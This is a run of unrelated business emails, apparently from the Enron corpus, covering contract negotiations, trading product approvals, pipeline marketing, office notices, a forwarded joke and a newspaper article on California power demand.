The below language is acceptable; however, I would suggest it be placed as
the first sentence of Paragraph 3, if it remains TradeSpark's position that
the existing first sentence of this paragraph (beginning with "Except as
otherwise provided ....") is to be deleted.  If the existing first sentence
is to remain, the language you propose should be added as the second
sentence of paragraph 3.

Please confirm the above and I will move forward on finalizing the

Mark

                    "Fogel,

                    Stephen"             To:
"'Mark.Greenberg@enron.com'"
                    <SFogel@canto        <Mark.Greenberg@enron.com>

                    r.com>               cc:     Michael.Bridges@enron.com,

                                         Tana.Jones@enron.com

                    02/26/2001           Subject:     RE: TradeSpark NDA

                    05:22 PM

I believe I understand your concerns - I would like to suggest that we add
the following language after the first sentence of Paragraph 3 - and then
execute the Agreement.

Sent: Monday, February 26, 2001 4:55 PM
Subject: TradeSpark NDA

Stephen -

Since we keep missing each other, I wanted to drop you a note about the
comments TradeSpark made to the Enron NDA.

As to the comments:

Paragraph 1 - The changes are acceptable.

Paragraph 3 - The rationale for this deletion needs to be provided.  I
cannot see why this change was made or is necessary.

Paragraph 5 - This deletion is unacceptable to Enron.

When you get a chance, please call me to further discuss Paragraph 3.

Thanks.

Mark

I know we've made good progress with respect to morning reports for EGM.  
However, I continue to receive most reports after 9:00 a.m., which is too 
late into the trading day.  Please let me know if there are resources you 
need, so this aspect of EGM can run as smoothly as ENA gas.  

Thanks.

Jeff

Got this from my dad.....would apply to the UT/A&M rivalry as well.

Counsel
Shell Trading Gas and Power Company
Tel. 713-230-3576
Fax 713-265-3576
2HC 1036

From: Gillaspie, Rodger A. (IA)
[mailto:Rodger.Gillaspie@ia.ngb.army.mil]
Sent: Tuesday, July 31, 2001 8:11 AM
To: Gillaspie, Eric
Subject: FW: HAWKEYE FANS???????

Two boys are playing football at a park in Iowa City when one of the
> > boys is
> > > > suddenly attacked by a crazed Rottweiler. Thinking quickly, the
> other
> > boy takes
> > > > a stick and shoves it under the dog's collar, twists it, and breaks
> the
> > dog's
> > > > neck, saving his friend. A sports reporter who was strolling by
sees
> > the
> > > > incident and rushes over to interview the boy. He tells the boy,
> "I'll
> > title it
> > > > 'Young Hawkeye Fan Saves Friend From Vicious Animal.'"
> > > >
> > > > "But I'm not a Hawkeye fan," the little hero replies.
> > > >
> > > > "Sorry, since we're in Iowa City I just assumed you were" says the
> > reporter, and
> > > > he starts writing again.
> > > >
> > > > He asks "How does 'Panther Fan Rescues Friend From Horrific Attack'
> > sound?"
> > > >
> > > > "I'm not a Panther fan either," the boy says.
> > > >
> > > > "Oh, I thought everyone in Iowa was either for the Hawks or the
> > Panthers. What
> > > > team do you root for?" the reporter asks.
> > > >
> > > > "I'm a Cyclone fan," the boy replies. "They're the best."
> > > >
> > > > The reporter smiles, starts a new sheet in his notebook and writes:
> > "Little
> > > > Bastard From Ames Kills Beloved Family Pet."

Memo to Master Agreement Structural Issues Working Group:

Recently , ISDA requested formal guidance from counsel in 35 jurisdictions
regarding a range of issues  relating to the strategic documentation review.
Briefly, the request for advice focused on (i) proposed changes to Sections
5 and 6 of the Master Agreement; (ii) proposed Force Majeure Annex; (iii)
the effect of an ISDA Master Agreement of the Cross-Product Master
Agreement, published by the Bond Market Association and the development of
ISDA's Bridging Agreement; and (iv) the inclusion of additional types of
financial transactions under the Master Agreement.

> To date, we have received the majority of the Strategic Documentation
> Review opinions and have attached what we have received to date for your
> review.  In addition, we have attached a sample request letter that we
> sent to counsel.
>
Kimberly Summe
Assistant General Counsel
>
>  <<AustraliaSDR.pdf>>  <<BahamasSDR.pdf>>  <<BelgiumSDR.pdf>>
> <<BermudaSDR.pdf>>  <<CaymanIslandSDR.pdf>>  <<DenmarkSDR.pdf>>
> <<EnglandSDR.pdf>>  <<FinlandSDR.pdf>>  <<FranceSDR.pdf>>
> <<HongKongSDR.pdf>>  <<IrelandSDR.pdf>>  <<ItalySDR.pdf>>
> <<LuxenbourgSDR.pdf>>  <<MalaysiaSDR.pdf>>

 - AustraliaSDR.pdf
 - BahamasSDR.pdf
 - BelgiumSDR.pdf
 - BermudaSDR.pdf
 - CaymanIslandSDR.pdf
 - DenmarkSDR.pdf
 - EnglandSDR.pdf
 - FinlandSDR.pdf
 - FranceSDR.pdf
 - HongKongSDR.pdf
 - IrelandSDR.pdf
 - ItalySDR.pdf
 - LuxenbourgSDR.pdf
 - MalaysiaSDR.pdf

OK

	Lisa Lees
	03/13/2001 03:39 PM
		 
		 To: Tana Jones/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Kelly 
Lombardi/NA/Enron@Enron
		 cc: Tom Moran/HOU/ECT, Mark Taylor/HOU/ECT@ECT, Taffy Milligan/HOU/ECT@ECT
		 Subject: PLEASE RESPOND: US Residual Fuel Oil 1% Fin Spd / US Residual Fuel 
Oil 3% Fin Spd

The product long descriptions below will fall under the new product types US 
Residual Fuel Oil 1% Fin Spd and US Residual Fuel Oil 3% Fin Spd.  Credit 
(Tom Moran) has approved copying the profiles for the new product types from 

 US Oil LSFO Fin Swap

Please respond by 10 a.m. on Wednesday, March 14.

Thank you.  Lisa
---------------------- Forwarded by Lisa Lees/HOU/ECT on 03/13/2001 02:21 PM 

03/13/2001 10:46 AM
To: Jeff Blumenthal/HOU/ECT, Susan Musch/ENRON_DEVELOPMENT, Mark 
Taylor/HOU/ECT@ECT, Bjorn Hagelmann/HOU/ECT, Tom Moran/HOU/ECT, Veronica 
Hill/NA/Enron, Larry Joe Hunter/HOU/ECT@ECT
cc: Lisa Lees/HOU/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, Tana 
Jones/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Kelly Lombardi/NA/Enron@Enron, 
Tara Sweitzer/HOU/ECT@ECT, Dawn C Kenne/HOU/ECT@ECT, Torrey 
Moorer/HOU/ECT@ECT, Kevin Meredith/Corp/Enron@ENRON, Melba 
Lozano/HOU/ECT@ECT, Robert B Cass/HOU/ECT@ECT 
Subject: Product Type Approval for 2 product types!! (US Residual Fuel Oil 1% 
Fin Spd / US Residual Fuel Oil 3% Fin Spd)

Your review and approval of the following 2 product types in the EOL 
Datamanager is needed (for directions on approval , please see steps for 
approval at the bottom of this e-mail)

Trader:  Sarah Mulholland

US Residual Fuel Oil 1% Fin Spd
US Residual Fuel Oil 3% Fin Spd

Please give me any concerns you have with this by the end if the 
day-otherwise I am recommending adopting this proposal

---------------------- Forwarded by Jane M Tholt/HOU/ECT on 08/23/2000 12:23 

"Ishikawa, Richard - TPRMI" <RIshikawa@socalgas.com> on 08/22/2000 04:27:10 PM
To: "'Tholt, Jane'" <jane.m.tholt@enron.com>
cc:  
Subject: FW: (Firm) August 17 Pooling Technical Subcommittee Meeting

The original message did not go through so I am trying it again. 

From:?? Ishikawa, Richard - TPRMI 
Sent:?? Tuesday, August 22, 2000 2:13 PM 
To:???? 'bcantre@enron.com'; 'skinnml@texaco.com'; 'tcarlson@apsc.com'; 
'pcervin@br-inc.com'; 'petersdd@bp.com'; 'sam.brown@swgas.com'; 'Cluff, 
Drew'; 'Minshew, Chuck'; 'Black, Larry'; 'Tholt, Jane'; 'King, Allen'

Cc:???? Wah, Pauline C. - TPPCW 
Subject:??????? RE: (Firm) August 17 Pooling Technical Subcommittee Meeting 
Sensitivity:??? Confidential 

Attached for your review is a draft copy of the "Goals to be Accomplished" 
which has been revised pursuant to the last meeting of the El Paso Technical 
Pooling Subcommittee held on August 17.? Please let me have your comments as 
soon as possible so that we can forward this on to El Paso in a timely 
fashion.? Thanks.

 <<pooling goals.doc>> 

 - pooling goals.doc

Any luck getting on Mike's calendar.

FYI:  His name is spelled Mike Bentivoglio.

I'll be attending and presenting at the SE Area C&E Roundtable on Wed and Thurs. I'm returning
to Houston Thursday evening and will be in the office again on Friday morning.

Page me or try my cell if I'm needed.

Thanks, Gary

I have modified the path for the EES sheet once again.  We need to make a new 
sheet and email it to Neil Bresnan at EES for each day.  Please use the 
format developed for the 24th and 26th in the folder.  EES is confused by 
seeing both buy and sell prices.  I would also prefer that we do not disclose 
who we bought or sold to.

The sheets should now be in P/Realtime/EES/Feb 01/02_26

Thanks,
Bill

---------------------- Forwarded by Bill Williams III/PDX/ECT on 02/26/2001 
07:09 AM ---------------------------

	Geir Solberg
	02/26/2001 04:15 AM
	
cc:  

Subject: EES SUMMARY SHEET

The EES summary sheet is now in P/Realtime/EES/EES FEB.  Just copy the EES 
deals over from the Inc. Sheet. Do not copy any colums past the Sell Price 
colum as it is not necessary for EES to have all our Info. 

Geir

From: 	"Chris Dorland" <cdorland@hotmail.com>@ENRON  
Sent:	Sunday, December 16, 2001 10:09 PM
Subject:	attempt 2

 - I don't know much...Nicole.doc 

Cathy:  attached is Mary's email which you may not have received.  Let me 
know if you need a separatecopy of the existing (Global Custody) agreement 
draft which ENA has negotiated with Chase.  I am hoping to conference in 
Chase as soon as we can.

Also, Mary mentioned that you should verify with Richard Sage (Enron Credit 
Ltd. in London) whether ECL is currently negotiating with BONY to put another 
"Global Custody Agreement" in place.  He may be negotiating an almost 
identical agreement (not necessary if Enron Corp. is the contracting party or 
perhaps if ENA ).

----- Forwarded by Sara Shackleton/HOU/ECT on 06/04/2001 01:29 PM -----

	"mike perkins" <mperkins@ix.netcom.com>
	06/03/2001 04:09 PM
		 
		 To: <Sara.Shackleton@enron.com>
		 cc: <paul.garcia@enron.com>, <cathy.moehlman@enron.com>
		 Subject: Re: Enron North America Corp. ("ENA") Global Custody and Clearance 
Agreement

Sara,
I have reviewed this briefly and have a couple of issues/comments.
I am concerned about the references to cash accounts.  I need to discuss
with the group.  ENA is not authorized to operate cash accounts.
Overdrafts and advances should not be permitted (sections 2Ciii and 4A)
I need to discuss FX with Laurel.  Again, ENA should not be operating cash
accounts.
Any verbal or fax instruction must be confirmed with callback or other
security procedures.  We have some sample call back procedures, test keys
are mentioned but are messy.  Need to discuss.  3C-authority to act should
be predicated on following the agreed procedures.  Maybe this is implied.
In 2, it is mentioned that info can be given.  I think it should be only if
required by law.
5A, generally, we don't allow fees to be debited.
5C I agree with you 5C is ugly.  I think this must be limited to the assets
in the specific accounts related to the agreement.
My number is 713 355 3814
Mary

From: <Sara.Shackleton@enron.com>
To: <mperkins@ix.netcom.com>
Cc: <Sheila.Glover@enron.com>
Sent: Friday, June 01, 2001 4:46 PM
Subject: Enron North America Corp. ("ENA") Global Custody and Clearance
Agreement

> Mary:
>
> Attached is the latest draft from Chase.
>
> In particular, please take a look at the following paragraphs:
>
> 2.A (the definition of "Securities")
> 5.B (lien on securities)
> 5.C (setoff)
>
> The ENA contact is Gennaro Contella.  Please leave me or Sheila a voice
> mail and we can arrange a conference call on Monday with Gennaro, Nancy
> Callahan, if necessary (Chase legal) and anyone that you need to
conference
> in on behalf of Enron Corp.  The traders are anxious to have this account
> in place.
>
> Irrespective of which Enron entity takes ownership of this agreement, we
> were looking to you for information regarding existing Chase accounts (in
> ENA's name).
>
> Thanks for your help.
>
> Sara Shackleton
> Enron North America Corp.
> 1400 Smith Street, EB 3801a
> Houston, Texas  77002
> 713-853-5620 (phone)
> 713-646-3490 (fax)
> sara.shackleton@enron.com
> ----- Forwarded by Sara Shackleton/HOU/ECT on 06/01/2001 04:38 PM -----
>
>                     Nancy.K.Callahan
>                     @chase.com              To:
Sara.shackleton@enron.com
>                                             cc:
Gennaro.Contella@chase.com
>                     05/31/2001 01:45        Subject:     Enron Global
Custody and Clearance Agreement
>                     PM
>
>
>
>
>
>
> As requested, attached is the final Agreement which I believe reflects the
> revisions we discussed this morning.  If this is acceptable, please have
> the Agreement executed on behalf of Enron and return the necessary
> counterparts to me for signature by Chase.  I will then return fully
> executed copies to you.
> (See attached file: Enron.doc)
>

Everyone,

Looking for a volunteer to market TW to this new power plant so that they will take the supplies off our pipe.  Any takers?

Kim.

From: 	Lohman, TK  
Sent:	Monday, October 22, 2001 9:35 AM
To:	Watson, Kimberly
Subject:	RE: New Mexico Power Plant Project

Supplies have not been lined up as of yet.  They are waiting to get farther along on the permits.

TK

Sent:	Sunday, October 21, 2001 3:28 PM
To:	Lohman, TK
Subject:	FW: New Mexico Power Plant Project

TK, just checking to see if you have heard who may be supplying the supply for this plant?

From: 	Harris, Steven  
Sent:	Monday, August 13, 2001 11:01 AM

Can we contact them to find out about how they plan to get their gas supply? I know Stan will ask me about this one.

From: 	Brennan, Lorna  
Sent:	Monday, August 13, 2001 10:58 AM
To:	Chavez, Gabriel; Dowd, Stephen; Gadd, Eric; Hyatt, Kevin; Millar, John; Ratner, Michael; Taylor, Gina; Hass, Glen; Loeffler, Michael; Stanton, Lon; Wilson, Rob; Harris, Steven; Donoho, Lindy; Goradia, Pallavi; Lindberg, Lorraine; Lohman, TK; Lokay, Michelle; Moore, Jan; Watson, Kimberly
Subject:	New Mexico Power Plant Project

Regent Energy in Pact to Develop 500 MW Plant 
Regent Energy recently executed a contract with Millennium Energy Ventures, a private Houston-based venture capital and project development company, to develop an electric plant with 500 MW generating capacity on Regent's Horseshoe Gallup lease in San Juan County, NM. 
Regent will own 75% of the project, while MEVCO will own the remaining 25%. The estimated cost of the project comes in at $250 million. 
Under the agreement, MEVCO will manage the permitting, estimated at 6 to 9 months, and construction process, arranging the equity as needed for same. Regent will be prepared to give up 50% (total) of its 75% net for the financing, netting a 25% interest following the equity/debt financing. 
Further terms of the agreement provide that MEVCO will assist Regent in the acquisition of several gas fields in the Four Corners area, San Juan and Rio Ariba Counties of New Mexico, totaling an estimated 90+ Bcf and 20 MMcf/d current production. This production will be sufficient to power 100 MW of the power plant, with the remaining supply to be aggregated from other San Juan producers. 
MEVCO Managing Director Phillip Gennarelli noted, "We are pleased to be involved in this project with Regent. The addition of more producing properties in the area that we bring Regent, coupled with Regent's Horseshoe Gallup holdings, which are in direct proximity with the existing Four Corners Power Plant and the route of the recently announced Sonoran Pipeline venture of Calpine and Kinder Morgan, will provide an unequaled opportunity for both companies." 
Regent President John Ehrman said, "The additional production from producing properties which MEVCO is assisting Regent in purchasing, currently producing some $1.5 million per month in net operating income, coupled with the additional income through power generation helps Regent to maximize the location of our holdings in relation to the proximity of the existing power plant and transmission lines to key electricity markets in Los Angeles and other western markets. It is a good use of our surface lease, not related to the current proved mineral reserves of the lease." 
The producing oil and properties which MEVCO is assisting Regent in purchasing are in Regent's core area of the Four Corners region near Farmington, NM. Regent will be required to finance the acquisition of the oil and gas proven producing properties under consideration. 
Recently, Regent announced that it was in the process of purchasing the interests of all remaining working interest owners in the field, a transaction that is expected to be consummated by the end of the third quarter 2001, giving Regent 100% ownership of the current minerals on the lease. 

Mark,
Please note that I sent you a wrong attachment with my previous email. 
Attached below is a draft of long description as per our discussion.

You may wish to use this for your discussion with Tony.

Thanks
Naveed

Regards,

As mentioned during the fourth quarter, Gary and I would like to begin 
regular meetings of our Trader's Roundtable.  The ideas generated from this 
group should be longer term trading opportunities for Enron covering the 
markets we manage.  In addition, this forum will provide for cross commodity 
education, insight into many areas of Enron's businesses, and promote 
aggressive ideas.  

Each week, we'll summarize commodity trading activity, and provide an open 
forum for discussion.  Your input is valuable, and we've limited this group 
to our most experienced traders, and would appreciate regular participation.  
Our first meeting will be Tuesday, January 9 at 4:00pm in EB3321.

Jeff & Gary

Richard,
 Please set it up for each party to sign.  Signature for a 18 month deal is 
mandatory.  Has credit approved the deal?

	Richard Deming@ENRON
	06/04/2001 12:02 PM
		 
		 cc: 
		 Subject: Coast Energy Group, a division of Cornerstone Propane, L.P.

Dan,

Please find below details of Phy Gas deals with GTC agreements:

Deal Date: 6/01/01
Deal No: VE1652 / 826079
Buyer: Coast Energy Company, a division of Cornerstone Propane, L.P.
Seller: ENA
Start Date: 7/01/01
End Date: 6/30/02
Firm
Volume: 166 / day
Price: 7.21000
Delivery Point: Pacific Gas and Electric Company - City Gate

Please let me know if you need any more details.

Thanks,
Richard
x54886

All:

Today marks a tremendous milestone in that the letter that confirms the
"Pipeline Industry" has joined together to address regulatory and
legislative pipeline safety issues in a unified fashion has been delivered
to the Secretary of Transportation, Norman Mineta, via courier.  These
documents were also sent to select Senators, Congressmen and Staff.  You, as
signatory to this letter, acting as CEO's, Chairman of Boards & Executive
Committees of Associations, CEO's & Presidents of the Associations and
Institutes, and Industry Leaders, confirm the path forward for the entire
industry and collectively we represent the entire industry.  We need to roll
out this confirmation to all the industry stakeholders and encourage the use
of these documents to advance our efforts.  A follow-up face-to-face session
with Secretary Mineta and a few of the CEO's will be worked into  his busy
schedule as soon as possible.

A copy of the signed document went out in the mail to you today and a
electronic copy (without the signatures) is attached for your convenience.
Also attached is the "One-Pager" that accompanied the letter and a Industry
news release.

Congratulations to all who made this possible.

To you and yours.....Happy Thanksgiving.

 <<Joint CEO Mineta letterFinal Sent.doc>>
<<One-pager[1].joint.associations.final..doc>>  <<Joint Industry news
release final[1].doc>>

Regards,
Joe

 - Joint CEO Mineta letterFinal Sent.doc 
 - One-pager[1].joint.associations.final..doc 
 - Joint Industry news release final[1].doc 

Vince & Vasant,

 The enclosed document discusses the incorporation of detailed ensemble 
outputs into our mark-to-marketing routines. In the next few days I will 
schedule an update on SMUD and perhaps we could spend a few minutes 
discussing how to proceed with this.

Joe

---------------------- Forwarded by Joseph Hrgovcic/HOU/ECT on 10/26/2000 
12:55 PM ---------------------------
Please respond to dchang@aer.com
To: Joseph.Hrgovcic@enron.com
cc:  
Subject: Re: "White Paper"

Dr. Hrgovcic,

We look forward to your comments.

D. Chang

Joseph.Hrgovcic@enron.com wrote:
>
> Dr Chang,
>
>      Thank you for the white paper. I have distributed
> it to most of the parties concerned (the head of our research department is
> away this week) and am gathering feedback on how to proceed. I will be at a
> conference next week, but I hope to get back to you on the week of the
> 30th.
>
> Yours truly,
> 
> Joseph Hrgovcic

fyi

Sent:	Thursday, November 08, 2001 1:05 PM
To:	Harris, Steven; Pryor, Tony; Hass, Glen; Darveaux, Mary; Lokey, Teb; Kirk, Steve; Pavlou, Maria; Rapp, Bill
Subject:	TW ROFR

  Upon receipt of a notice to exercise ROFR, you must determine the criteria of when the notice is required,  In the example provided I'm told it required a one year notice therefore if the contract terminated 10/31/02, notice was due 10/31/01.  Therefore 10 days after 10/31/01 the capacity must be posted for bidding.  In the interim, since it has not yet been posted a transaction could be negotiated and the shipper would then be required to provide notice of resinding the original election to participate in the Rofr process.  If this isn't clear, please call    MK

First Half 2000 Accomplishments for Corporate Communications Team

Media
Major feature stories in Fortune, Forbes (cover), BusinessWeek, Financial 
Times, Bloomberg Magazine, Context, Red Herring, Business 2.0, Worth, The 
Standard, Wired, The Motley Fool, CBS MarketWatch, The New York Times, and 
others.

Blunted potentially negative stories surrounding Orange County, Cal PX, 
campaign contributions.

Initiated "new media" program with great results.  (Cover story working in 
ComputerWorld)

Enron's media relations team is one of the most respected in media circles.

Advertising
Roll out of "Ask Why" campaign.

Creation of Armchair Brand Management program, to be introduced mid August.

Direction of new creative (EOL and Weather Derivatives) for campaign

Murray Gell-Man webcast

Internal Communications
Made internal communications less about newsletters and more about knowledge.

Launched e-Biz.  Two editions under our belt.  More stories, more info, once 
each week versus once every two months.

Massive development of E-Speak platform. Volume has been tripling on a 
monthly basis.   It is viewed, internally and externally, as the premier 
internal communications medium.  Ken Lay won "Executive Communicator of the 
Year" from IABC based on success of E-Speak.  Now working on popular outside 
speakers, a new site called eMeeting, and other great stuff.
 
Hold Music!

Video in the elevators, and other jobs in support of Vision and Values 
campaign.

Other
Best Annual Report We Ever Did.  (Institutional Investor thought so, too.)

MG plc Acquisition

Personnel moves in EEL and EBS.

Houston Offices Bankrupt and Non-Bankrupt Business Units:
If you own, lease, rent, or receive invoices for copiers or have questions regarding copiers 
Please call Harry Grubbs at 713-853-5417, or harry.grubbs@enron.com.

All Bankrupt entities outside Houston, or other Offices outside Houston that are closing:
Please contact Paula Corey at 713-853-9948, or paula.corey@enron.com.

Non-Bankrupt Entities Outside Houston:

There is still room available for NESA members to participate in the HEA's
34th Annual Sports Tournament on Monday, October 16, 2000 at the Woodlands
Country Club.  This event is only two weeks away, so click on the link below
and register today!
>
> <http://www.houstonenergy.org/public/sportscover.doc>
>
> Thanks a lot.

Start Date: 1/23/02; HourAhead hour: 21;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002012321.txt

How about Nov 5 or 6?
From: Love, Estelle [mailto:ELove@coair.com]
Sent: Wednesday, October 24, 2001 12:27 PM
To: Geaccone, Tracy
Subject: RE: Mary Cate Love 14 months

Oh?next Monday is bad because I have a Halloween party for MC at Cr?me de la Cr?me?so I'm taking off early that day. The 31st is bad, too.  How about Tuesday, Thursday or Friday next week?
 
Estelle Love
Manager,  Multinational Sales & Revenue Programs Planning
Continental Airlines, Inc.
713-324-2643 - phone
713-324-4647 - fax
elove@coair.com
 
From: Geaccone, Tracy [mailto:Tracy.Geaccone@ENRON.com]
Sent: Wednesday, October 24, 2001 11:16 AM
To: Love, Estelle
 
I like the dinner group idea.  What about lunch on Monday, Oct 29?
Sent: Wednesday, October 24, 2001 9:28 AM
Hey Tracy,
 
How are you?  It seems like ages since we've seen each other. 
 
Bunco?well, I know Pam Guidry was the October person, but we figured it wouldn't happen because she hasn't been to the last couple of Buncos.  Then the list ended and I haven't heard from anyone complaining.  I'm not sure if Christi Chickering is still having a Holiday Bunco or not. I'm surprised we haven't heard from Sandra or Debbie via e-mail. Mary Lynn probably won't join again, she wants to do a small dinner group with just you, me, Lisa, Stephanie?the five of us?unless I'm missing someone.
 
Let me know when you're free for lunch, I'm pretty flexible these days. 
 
Sent: Tuesday, October 23, 2001 6:08 PM
 
Very Cute!!!! How have you been?  What has happened to Bunco?  We need to go to lunch.
 
	Janel Guerrero
	03/20/2001 08:48 PM
		 
		 cc: 
		 Subject: Please send to everyone

Ginger:  you still have the master distribution list.  Will you please foward 
the documents to all of our people?  Thanks

----- Forwarded by Janel Guerrero/Corp/Enron on 03/20/2001 08:47 PM -----

	03/20/2001 12:19 PM
		 
		 To: Mark Palmer/Corp/Enron@ENRON, Karen Denne/Corp/Enron@ENRON, Janel 
		 cc: 
		 Subject: Consumer Group Reports Issued

FYI. Janel - you might want to distribute more broadly within group.-- Thanks.
---------------------- Forwarded by Richard Shapiro/NA/Enron on 03/20/2001 

"Samantha Slater" <SSLATER@epsa.org> on 03/20/2001 12:08:16 PM
To: <bhawkin@enron.com>, <bhueter@enron.com>, <bmerola@enron.com>, 
<christi.l.nicolay@enron.com>, <donna.fulton@enron.com>, 
<Elizabeth.Linnell@enron.com>, <harry.kingerski@enron.com>, 
<janelle.scheuer@enron.com>, <jeff_brown@enron.com>, <jhartso@enron.com>, 
<jmigden@enron.com>, <jsteffe@enron.com>, <jsteffes@enron.com>, 
<marchris.robinson@enron.com>, <Mary.Hain@enron.com>, 
<Mona.L.Petrochko@enron.com>, <Paul.Kaufman@enron.com>, <rboston@enron.com>, 
<rshapiro@enron.com>, <sarah.novosel@enron.com>, <snord@enron.com>, 
<Tom.Chapman@enron.com>, <tom.hoatson@enron.com>
cc:  

Subject: Consumer Group Reports Issued

On March 19th, the Foundation for Taxpayer & Consumer Rights published a 
report in it's Bailout Watch newsletter (Special Report: The Manufactured 
Energy Crisis) concluding that California's energy crisis has been 
manufactured by "energy firms."  A copy of the report is attached and is also 
available on the organization's website at www.consumerwatchdog.org.

Today, the Consumer Federation of America released a report (Behind the 
Headlines of Electricity Restructuring: A Story of Green, Irresponsibility 
and Mismanagement of a Vital Service in a Vulnerable Market) asking 
policymakers to "rethink" the move toward retail electric competition.  A 
copy of the report is available at their website at www.consumerfed.org or 
www.consumerfed.org/calmkt.pdf.  Copies of the press release and the report 
are also attached.

 - calmktpress.pdf
 - calmkt.pdf
 - bailout21.pdf

As discussed - happy reading on the plane...

Sally W. Beck 

713-853-5926
sally.beck@enron.com

yes.

	Michael McDonald@ECT
	10/06/2000 03:28 PM
		
		 To: Jeff Dasovich/NA/Enron@ENRON
		 cc: 
		 Subject: Re: [Fwd: CMUA Market Reform proposal]

do you have it?

I have forwarded these to Greg Mausser.  He is the new OA person for west and 
denver.  Please send west to him.  Keep sending Texas to me for the time 
being.  Thanks.  
PL

Gerald,  Upon your review please forward any comments to me and Mike Smith.  
After meeting with Mark Knippa this morning, we are targeting tomorrow 
morning (12/7/00) for execution of the master agreement.

In addition to the Master, I will forward you the TA as it relates to the 
Blackwater deal later today.  EES plans to present executable pricing for 
Blackwater as early as tomorrow afternoon.

Thanks

Bo

---------------------- Forwarded by Bo Barnwell/HOU/EES on 12/06/2000 12:09 
   
	From:  Mike D Smith                           12/06/2000 10:37 AM
	
To: Bo Barnwell/HOU/EES@EES, Greg Sharp/HOU/EES@EES, Dave S 
Laipple/DUB/EES@EES, Greg Cordell/HOU/EES@EES
cc:  
Subject: ECS

Here is a clean (12-4) and a new redline against the ECS version 12-1.  If 
you approve, you can send to ECS.

Kimat, this is the offset to the big gain we made on CGAS last night on that 
one deal.  I increased our sales volume on deal. 502957 by 10,000dth/day 
starting on the 19th.  Deal 502957 is a citygate, index based sale and we 
should show a big loss on it tonite.

EB 3892
----- Forwarded by Carol St Clair/HOU/ECT on 11/16/00 11:04 AM -----

=09Executive Compensation@ENRON
=09Sent by: Enron Announcements@ENRON
=0911/14/00 07:17 PM
=09=09=20
=09=09 To: Eligible Employees
=09=09 Subject: Deferral Enrollment 2001

                                              =20

Good news!  Deferral program enrollment begins Wednesday, November 15, 2000=
. =20
 Enron's Bonus Stock Option and Bonus Phantom Stock Programs provide you wi=
th=20
an opportunity to receive stock options and phantom stock in lieu of all or=
 a=20
portion of the cash bonus you may receive during 2001.   To make enrollment=
=20
even more convenient for you, this year's deferral program information is=
=20
available on eHRonline. =20

To learn more about your deferral program opportunities and to enroll for=
=20
2001 deferrals, access eHRonline at http://ehronline.enron.com.  (Call the=
=20
ISC Help Desk at 713-345-4727 if you need your ID or password to access the=
=20
system.)

1. Review the program descriptions (attached to the Election Form) before y=
ou=20
make your elections.
2. If you decide to defer compensation, complete the Election Form before=
=20
Friday, December 8,  2000 (the enrollment deadline).
3. Print your 2001 Election Form and Confirmation Statement right from the=
=20
web site and you=01,re   finished!=20

Sound easy?  It is!

DEFERRAL ENROLLMENT 2001--ADDED VALUE FOR YOUR FUTURE

	A D V E R T I S E M E N T 

	?? Related Links 
	
	? Front Page (Image)
? Special Reports 
? Seven-Day Archives 
	
	Published Monday, October 2, 2000, in the San Jose Mercury News 
	High-tech demands strain power grid
	BY MATT MARSHALL
Mercury News 
	During a summer of rolling blackouts and rising power rates, one silent 
culprit is adding unexpectedly to the shortages: the new, spreading e-world 
of networked computers. 
	E, after all, means e-lectricity, as well as electronic. 
	Over the past three years alone, U.S. corporations have spent $1 trillion 
installing a vast world of wiring used now for everything from e-mail to 
e-business, and it all depends on -- surprise, surprise -- a constant, 
reliable flow of electricity. 
	``Every single piece of it gets plugged into a wall somewhere,'' said Mark 
Mills, an energy consultant and co-author of the Digital Power Report. 
	Experts differ on how much the needs of high-tech equipment, as well as the 
economic expansion that it has spurred, have boosted the demand for 
electricity. But according to the Edison Electric Institute in Washington, 
D.C., they've added about one percentage point per year to the growing demand 
for power nationally since 1990. 
	In California, the high-tech revolution has consumed even more electricity -- 
an extra two to four percentage points each year of power over the amount 
originally predicted, the institute says. In 1988, the California Energy 
Commission believed the state would need 54,000 megawatts of power by 2000, 
partly to accommodate robust economic growth. But this year California 
actually required 56,000 megawatts. 
	That difference is enough to power about 2 million homes. ``There's no 
getting around it,'' Mills said. ``Cyberspace, far from virtual, is very real 
and anchored in electrons.'' 
	Depending on whom you believe, high technology consumes from 3 percent to 20 
percent of the nation's total power generation, and some expect that number 
to rise to as high as 40 percent by 2010. ``Whether that number is 5, 10, 30 
or 40 percent, is open to question,'' says Jim Owen, spokesman of the Edison 
Electric Institute. 
	The added demand from the e-world couldn't come at a worse time. California 
is now caught in a serious electricity shortfall for various reasons: an 
unexpectedly hot summer, aging power plants that are prone to break down, 
years of poor investment in new plants and the new efforts at deregulation in 
the state. 
	Imbalance since 1995 
	For the past five years, the supply of electricity statewide has grown much 
more slowly than the demand for it from companies and residents. Supply and 
demand were in balance until about 1995. Since then, supply has grown only 1 
percent, while demand has expanded by 11.5 percent, according to the 
California Energy Commission. 
	For the Bay Area, state officials say there exists a shortfall of around 900 
megawatts, or enough electricity to power about 900,000 homes. ``You guys in 
California are the biggest energy hogs around,'' says Michael Economides, 
professor of chemical engineering, who has studied power consumption. ``Take 
a house with three teenagers. You have six phone lines, recharged cellulars, 
car phones and computers.'' 
	San Jose, for example, sucks up about 2,535 megawatts from outside the city 
and produces only 165 for itself, according to Stephanie McCorkle, 
spokeswoman at the state's Independent System Operator, which controls the 
purchasing of much of California's power. To make up the difference, the city 
needs to draw on outside sources that are limited themselves, since they come 
from other areas that are also growing quickly. 
	Blackout warnings 
	With the state running beyond capacity, local power officials are warning of 
blackouts in the summer. 
	When a rolling blackout hit Silicon Valley on June 14, several companies were 
alarmed. They stepped up talks within a task force of the Silicon Valley 
Manufacturing Group about ways to conserve energy use and to minimize the 
burden on the local power grid. 
	Sun Microsystems Inc. has estimated that a blackout costs up to $1 million 
per minute, according to Larry Owens, division manager of customer services 
for Silicon Valley Power, the utility that manages power for many large 
companies in Santa Clara County. 
	Chuck Mulloy, spokesman for Intel Corp., said that if one of its fabrication 
plants shuts down, ``it could cost millions, depending on the 
circumstances.'' 
	Nevertheless, many computer companies are reluctant to talk about their power 
needs, saying that it will alert competitors about their cost structures. 
	Some say they're confident the Bay Area shortfall can be patched up over the 
next couple of years through a variety of measures, including building local 
power plants and transmission stations. Local generation is important, 
experts say, because it prevents voltage instability, which can seriously 
harm high-tech computer servers that require high reliability. 
	For some of their most precise equipment, Internet economy companies need 
what's called ``five 9s'' -- or 99.999 percent reliability -- to ``nine 9s'' 
or 99.9999999 percent reliability. 
